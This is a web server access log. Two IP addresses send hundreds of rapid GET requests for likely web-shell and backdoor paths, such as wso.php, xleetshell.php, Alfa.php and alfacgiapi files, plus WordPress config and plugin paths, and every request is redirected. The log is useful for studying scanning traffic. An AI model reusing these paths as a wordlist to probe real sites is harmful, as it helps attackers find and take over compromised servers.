40.113.19.73 - - [27/Apr/2025:10:17:51 -0400] "GET /images/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:51 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:52 -0400] "GET /wp-content/plugins/dazmhjz/ HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:52 -0400] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:53 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:53 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:53 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:54 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:54 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:54 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:55 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:55 -0400] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:55 -0400] "GET /class-IXR-encryption.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:56 -0400] "GET /wp-content/uploads/wp-stream.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:56 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:57 -0400] "GET /aQzODIgoBr.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:57 -0400] "GET /wp-includes/991176.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:57 -0400] "GET /.well-known/amaxx.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:58 -0400] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:58 -0400] "GET /7index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:58 -0400] "GET /cljntmcz.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:59 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:17:59 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:00 -0400] "GET /ewywe1dg.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:00 -0400] "GET /alexus.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:00 -0400] "GET /engine.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:01 -0400] "GET /gebase.php69 HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:01 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:01 -0400] "GET /4price.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:02 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:02 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:02 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:03 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:03 -0400] "GET /wp-content/k.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:04 -0400] "GET /hello.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:04 -0400] "GET /assets/cms/plugins/ckfinder/_samples/php/ HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:04 -0400] "GET /wp-includes/css/dist/edit-site/ HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:05 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:05 -0400] "GET /sendmail.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:05 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:06 -0400] "GET /wp-content/themes/pridmag/custom-plugin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:06 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:07 -0400] "GET /erin1.PhP7 HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:07 -0400] "GET /wp-content/plugins/sid/sidwso.php/vuln.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:07 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:08 -0400] "GET /alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:08 -0400] "GET /cgi-bin/wp-signup.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:08 -0400] "GET /.well-known/afcsthua.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:09 -0400] "GET /back.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:09 -0400] "GET /anone.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:10 -0400] "GET /logs.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:10 -0400] "GET /addslashes.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:10 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:11 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:11 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:12 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:12 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:12 -0400] "GET /wp-content/plugins/sfdfryt/ HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:13 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:13 -0400] "GET /41.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:13 -0400] "GET /gecko-new.php.1 HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:14 -0400] "GET /libraries/phpmailer/ HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:14 -0400] "GET /wp-commentin.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:15 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:15 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:16 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:16 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:16 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:17 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-" 40.113.19.73 - - [27/Apr/2025:10:18:17 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:37 -0400] "GET /gzak2w.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:38 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:39 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:39 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:40 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:40 -0400] "GET /about.php525 HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:41 -0400] "GET /xleetshell.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:42 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:42 -0400] "GET /restore.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:43 -0400] "GET /wp-content/plugins/nsplvxi/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:43 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:44 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:44 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:45 -0400] "GET /wp-content/plugins/pwnd/block-support.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:45 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:46 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:46 -0400] "GET /hyIPpxWDQ.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:47 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:48 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:48 -0400] "GET /lab.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:49 -0400] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:49 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:50 -0400] "GET /pki-validation/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:50 -0400] "GET /css/dist/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:51 -0400] "GET /.well-known/pki-validation/worksec.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:51 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:52 -0400] "GET /global.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:52 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:53 -0400] "GET /wp-core.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:54 -0400] "GET /wp-admin/maint/src_api.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:54 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:55 -0400] "GET /public/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:55 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:56 -0400] "GET /add_class.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:56 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:57 -0400] "GET /snd.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:57 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:58 -0400] "GET /wp-config-premigrate.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:58 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:59 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:19:59 -0400] "GET /images/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:00 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:00 -0400] "GET /modules/mod_ariimageslidersa/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:01 -0400] "GET /.well-known/apap.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:02 -0400] "GET /wp-content/fx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:03 -0400] "GET /wp-admin/images/wp-load.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:03 -0400] "GET /alumni_reg.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:04 -0400] "GET /templates/protostar/error.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:05 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:05 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:06 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:07 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:08 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:08 -0400] "GET /Gel.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:09 -0400] "GET /Alfa.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:10 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:10 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:11 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:11 -0400] "GET /wp-content/plugins/wordfence/js/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:12 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:12 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:13 -0400] "GET /8index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:14 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:14 -0400] "GET /.tmb/cloud.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:15 -0400] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:15 -0400] "GET /wp-content/plugins/css-ready/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:16 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:17 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:17 -0400] "GET /nakrip.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:18 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:19 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:19 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:20 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:20 -0400] "GET /templates/atomic/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:21 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:21 -0400] "GET /wp-content/plugins2/loco-translate/tpl/debug/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:22 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:23 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:23 -0400] "GET /aks.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:24 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:24 -0400] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:25 -0400] "GET /wp-admin/includes/class-wp-media-list-data.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:25 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:26 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:27 -0400] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:27 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:28 -0400] "GET /.well-known/doc.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:28 -0400] "GET /wp-admin/user/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:29 -0400] "GET /.well-known/pki-validation/ibkejxnu.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:29 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:30 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:31 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:31 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:32 -0400] "GET /demo328/fw.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:32 -0400] "GET /change_password.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:33 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:33 -0400] "GET /l/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:34 -0400] "GET /admin/index_upload.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:35 -0400] "GET /modules/modules/modules.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:35 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:36 -0400] "GET /wp-includes/Requests/src/Auth/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:36 -0400] "GET /feedback.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:37 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:38 -0400] "GET /libraries/joomla/jmail.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:38 -0400] "GET /legion.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:39 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:39 -0400] "GET /cJLGqzB.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:40 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:41 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:41 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:42 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:42 -0400] "GET /OthioNDwMEK.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:43 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:44 -0400] "GET /cgi-bin/404.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:44 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:45 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:45 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:46 -0400] "GET /images/uploader.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:46 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:47 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:47 -0400] "GET /qindex.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:48 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:48 -0400] "GET /ws.php.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:49 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:49 -0400] "GET /wp-content/plugins/core-plugin/smaxx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:50 -0400] "GET /wp-content/plugins/zedd/1.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:51 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:51 -0400] "GET /eq2hbpgs.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:52 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:52 -0400] "GET /tutorial.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:53 -0400] "GET /images/mzeogsze.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:53 -0400] "GET /wp-links.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:54 -0400] "GET /wp-admin/css/imdnbpma.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:54 -0400] "GET /hoot.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:55 -0400] "GET /wp-admin/css/colors/coffee/fw.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:55 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:56 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:57 -0400] "GET /bihnmimh.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:57 -0400] "GET /alex.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:58 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:58 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:59 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:20:59 -0400] "GET /wp-admin/css/colors/coffee/themes.php.hacked HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:00 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:00 -0400] "GET /gif.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:01 -0400] "GET /wp-content/themes/twentytwenty/functions.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:01 -0400] "GET /7yn.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:02 -0400] "GET /suu.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:03 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:03 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:04 -0400] "GET /wp-includes/fw.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:04 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:05 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:05 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:06 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:06 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:07 -0400] "GET /wp-content/plugins/yfsmxkj/ HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:07 -0400] "GET /shell20211022.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:08 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:08 -0400] "GET /FoxWSO.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:09 -0400] "GET /wp-includes/css/core.php HTTP/1.1" 301 795 "-" "-" 23.102.57.155 - - [27/Apr/2025:10:21:09 -0400] "GET /1.php7 